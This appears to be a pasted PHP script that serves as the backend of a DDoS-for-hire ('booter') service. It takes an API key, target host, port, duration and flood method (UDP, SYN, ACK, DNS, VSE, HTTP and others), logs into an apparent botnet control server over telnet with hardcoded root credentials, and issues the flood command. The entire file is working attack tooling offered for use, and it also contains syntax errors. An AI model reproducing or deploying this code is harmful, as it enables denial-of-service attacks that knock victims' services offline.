· 6 years ago · Mar 28, 2020, 06:16 PM
1<?php
2error_reporting(E_ALL);
3
4 $APIKeys = array("Key1", "Key2", "Key3");
5 $attackMethods = array("RAWUDP", "ACK", "STOMP", "DNS", "VSE", "SYN", "GHP");
6 function htmlsc($string)
7
8 {
9 return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
10 }
11
12
13 if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
14 die("You are missing a parameter");
15 $key = htmlsc($_GET["key"]);
16 $host = htmlsc($_GET["host"]);
17 $port = htmlsc($_GET["port"]);
18 $method = htmlsc(strtoupper($_GET["method"]));
19 $time = htmlsc($_GET["time"]);
20 $command = "";
21
22
23 if (!in_array($key, $APIKeys)) die("Invalid API key");
24 if (!in_array($method, $attackMethods)) die("Invalid attack method");
25 if ($method == "RAWUDP" $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
26 else if ($method == "DNS") $command = "dns $host $time dport=$port domain=$host\r\n";
27 else if ($method == "GHP") $command = "http $host $time domain=$host path=/ conns=10000"
28 else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
29 else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
30 else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
31 else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
32
33 $socket = fsockopen("1.1.0.0", "23");
34 ($socket ? null : die("<p>Failed to connect"));
35
36 fwrite($socket, " \r\n");
37 sleep(3);
38 fwrite($socket, "root\r\n");
39 sleep(3);
40 fwrite($socket, "hacker\r\n");
41 sleep(3)
42 fwrite($socket, $command);
43 fclose($socket);
44 echo "Attack sent to $host:$port for $time seconds using method $method!\n";
45?>